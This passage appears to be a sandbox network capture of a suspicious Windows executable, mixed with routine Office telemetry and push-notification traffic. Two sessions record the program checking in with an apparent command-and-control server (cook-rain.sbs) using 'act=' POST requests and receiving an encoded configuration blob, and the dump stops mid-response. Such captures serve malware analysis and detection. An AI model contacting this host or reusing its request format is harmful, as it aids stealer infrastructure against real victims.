54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49732	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:21 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:22 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071222Z-r1d97b99577ndm4rhC1TEBf0ps00000008h000000000fw4r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:22 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49737	188.114.97.3	443	5728	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:22 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-20 07:12:22 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-20 07:12:22 UTC	980	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2kt2hds0bms6crkij1cm67dlvg; expires=Sun, 16-Mar-2025 00:59:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UP3bcUVixxZgDkvjWYnRVTRRz3%2F3mkNwPlAO9%2BzPtxK67zPwbeiDOoUtXBIyItxD3acl2zbur50JBQfks%2B9UC7ns5RB16qn9UbnUwULjnInHyfbVbbxe4uwUCk6bU2Y3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56a19a39304276-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1562&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=904&delivery_rate=1836477&cwnd=217&unsent_bytes=0&cid=107a55d3363e7729&ts=472&x=0"
2024-11-20 07:12:22 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-20 07:12:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49736	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:22 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 43 6b 78 4c 6d 33 61 42 76 30 4b 79 38 50 55 42 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 62 34 36 61 37 35 31 30 34 32 30 62 38 35 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: CkxLm3aBv0Ky8PUB.1Context: 1b46a7510420b85d
2024-11-20 07:12:22 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-20 07:12:22 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 43 6b 78 4c 6d 33 61 42 76 30 4b 79 38 50 55 42 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 62 34 36 61 37 35 31 30 34 32 30 62 38 35 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 4b 49 63 78 78 49 39 78 75 47 37 47 65 45 64 4a 6e 6f 42 56 44 74 71 4a 4c 75 2b 7a 54 44 6b 33 75 4b 49 57 2b 6b 79 4c 6d 43 4e 4f 62 7a 64 54 30 72 4b 37 6a 4e 70 31 64 69 45 47 54 67 38 2b 42 30 30 61 48 48 6c 6a 37 6c 56 7a 31 48 63 56 32 69 6e 63 58 45 59 6d 74 62 4a 49 53 6f 30 39 42 41 35 77 42 67 52 4a 4e 70 30 6b Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: CkxLm3aBv0Ky8PUB.2Context: 1b46a7510420b85d<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdKIcxxI9xuG7GeEdJnoBVDtqJLu+zTDk3uKIW+kyLmCNObzdT0rK7jNp1diEGTg8+B00aHHlj7lVz1HcV2incXEYmtbJISo09BA5wBgRJNp0k
2024-11-20 07:12:22 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 43 6b 78 4c 6d 33 61 42 76 30 4b 79 38 50 55 42 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 62 34 36 61 37 35 31 30 34 32 30 62 38 35 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: CkxLm3aBv0Ky8PUB.3Context: 1b46a7510420b85d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-20 07:12:22 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-20 07:12:22 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 58 4b 51 4a 4c 69 30 30 6d 45 6d 68 38 65 4a 6b 64 4c 63 78 65 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: XKQJLi00mEmh8eJkdLcxeA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49742	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:22 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:22 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 65766a7e-a01e-0002-4f8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071222Z-185f5d8b95c5lcmhhC1NYCsnsw0000000a2000000000117a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:22 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49738	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:22 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:22 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:22 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071222Z-1777c6cb754lv4cqhC1TEB13us000000097000000000cew4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:22 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49740	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:22 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: f65efca2-801e-0035-4104-3b752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071222Z-r1d97b99577dd2gchC1TEBz5ys00000008dg000000003e1q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:22 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49741	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:22 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 657669b3-a01e-0002-118c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071222Z-185f5d8b95csd4bwhC1NYCq7dc00000009qg00000000n9mr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49739	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:22 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 7f65af6f-801e-0067-5f8c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071222Z-185f5d8b95cjbkr4hC1NYCeu2400000009q000000000edd3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49743	188.114.97.3	443	5728	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:22 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-20 07:12:22 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-20 07:12:23 UTC	978	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v2j3msckhpumhq276e0sko1k33; expires=Sun, 16-Mar-2025 00:59:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WFhzQhCnUDmUpkKR3vOlTI57AnO4Vt%2FhIHm7u9dZBImGX8HwHrFIwsffZ3cIm4WA8vXKz1rCwhhrhIUXn6XqTfc3LkHPmItdmsc37X3m8ISb%2FG3JMIxm7YV9pwof64rY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56a1a02b904391-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1577&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=950&delivery_rate=1754807&cwnd=236&unsent_bytes=0&cid=c1050249a0321f72&ts=453&x=0"
2024-11-20 07:12:23 UTC	391	IN	Data Raw: 34 64 65 0d 0a 6f 46 62 39 73 6b 4b 7a 71 46 58 50 78 6a 34 74 6b 68 69 6a 79 55 6e 62 56 4b 59 46 35 67 7a 30 6d 48 78 6b 51 2b 69 38 36 61 7a 62 64 49 75 51 65 49 65 45 64 37 79 6a 48 42 66 6d 61 74 61 73 5a 66 6b 31 77 69 66 63 61 70 58 30 44 77 46 76 79 73 71 45 6a 70 6f 77 6e 4e 34 78 31 6f 52 33 71 72 34 63 46 38 6c 6a 67 61 77 6e 2b 57 36 45 59 49 78 75 6c 66 51 65 42 53 69 48 7a 49 58 50 79 44 71 61 32 69 66 51 7a 44 53 6a 71 31 74 49 39 33 6e 4a 70 79 43 32 50 4d 73 6e 79 69 36 52 34 6c 35 65 59 61 58 5a 6e 63 33 74 4e 34 37 5a 59 4d 36 45 4c 75 32 6a 55 41 2b 6f 4f 73 4b 73 4b 37 63 79 77 6d 36 4f 5a 4a 7a 38 48 77 41 70 6d 4e 57 50 78 4d 67 30 6d 64 73 74 32 64 67 35 71 61 78 51 54 76 31 35 67 65 56 72 76 69 36 45 50 38 51 39 70 50 6b 50 46 7a Data Ascii: 4deoFb9skKzqFXPxj4tkhijyUnbVKYF5gz0mHxkQ+i86azbdIuQeIeEd7yjHBfmatasZfk1wifcapX0DwFvysqEjpownN4x1oR3qr4cF8ljgawn+W6EYIxulfQeBSiHzIXPyDqa2ifQzDSjq1tI93nJpyC2PMsnyi6R4l5eYaXZnc3tN47ZYM6ELu2jUA+oOsKsK7cywm6OZJz8HwApmNWPxMg0mdst2dg5qaxQTv15geVrvi6EP8Q9pPkPFz
2024-11-20 07:12:23 UTC	862	IN	Data Raw: 54 66 6e 6d 44 57 30 6e 66 31 35 48 39 4b 34 48 33 4e 76 57 6d 44 64 74 73 70 6e 53 36 52 39 6c 35 65 59 59 4c 62 69 4d 33 4a 4f 35 7a 59 4b 38 50 4b 4a 61 75 70 57 56 33 32 66 38 2b 68 4b 4b 73 38 79 6d 47 48 5a 35 33 7a 47 77 45 6c 79 70 44 4c 79 64 70 30 78 35 41 42 33 4d 45 37 70 37 4e 63 44 2b 38 30 32 4f 73 73 74 58 61 63 4a 34 42 76 6b 76 73 61 43 43 2b 4f 30 6f 33 41 7a 7a 75 5a 32 69 44 57 77 44 2b 6c 70 56 46 45 2f 33 72 45 70 69 2b 2f 4f 73 56 69 78 43 44 57 2f 51 5a 47 65 63 72 77 6a 4d 33 51 64 71 72 54 4c 74 2f 4e 49 65 32 37 45 6c 61 77 66 63 33 72 63 2f 6b 34 77 57 69 57 62 34 54 2f 45 42 51 74 6a 39 69 47 7a 63 77 30 6d 74 63 74 33 38 77 77 72 71 78 59 54 76 35 32 79 36 67 76 75 6e 61 4b 4a 34 4e 32 31 71 4a 65 4e 79 4b 4f 32 5a 6e 4e 7a Data Ascii: TfnmDW0nf15H9K4H3NvWmDdtspnS6R9l5eYYLbiM3JO5zYK8PKJaupWV32f8+hKKs8ymGHZ53zGwElypDLydp0x5AB3ME7p7NcD+802OsstXacJ4BvkvsaCC+O0o3AzzuZ2iDWwD+lpVFE/3rEpi+/OsVixCDW/QZGecrwjM3QdqrTLt/NIe27Elawfc3rc/k4wWiWb4T/EBQtj9iGzcw0mtct38wwrqxYTv52y6gvunaKJ4N21qJeNyKO2ZnNz
2024-11-20 07:12:23 UTC	1369	IN	Data Raw: 33 66 38 65 0d 0a 55 2b 70 4b 31 4f 52 66 78 30 30 36 59 68 76 44 6a 49 59 6f 74 75 6c 2f 73 51 44 43 72 4b 6b 4d 76 4a 32 6e 54 48 6b 41 2f 63 32 69 57 6e 72 30 30 4e 78 58 6e 50 70 53 79 76 64 74 73 70 6e 53 36 52 39 6c 35 65 59 59 48 59 68 38 4c 43 4d 6f 33 65 4c 38 50 41 4a 61 6d 71 57 45 50 2b 63 38 79 6b 4c 71 73 79 78 48 57 46 61 35 48 30 45 78 51 6b 79 70 44 4c 79 64 70 30 78 35 41 61 35 63 30 6e 76 4b 4d 65 65 76 4e 30 7a 36 77 39 2b 53 6d 4b 66 73 52 70 6d 72 70 47 52 69 4b 47 30 34 4c 4c 7a 53 61 56 33 43 48 44 7a 54 36 6b 72 6c 31 42 2f 33 48 4e 72 6a 6d 79 4f 63 78 6f 68 57 4f 62 38 52 6f 47 59 63 53 65 6a 4e 61 43 62 4e 2f 78 4c 64 37 59 4e 4c 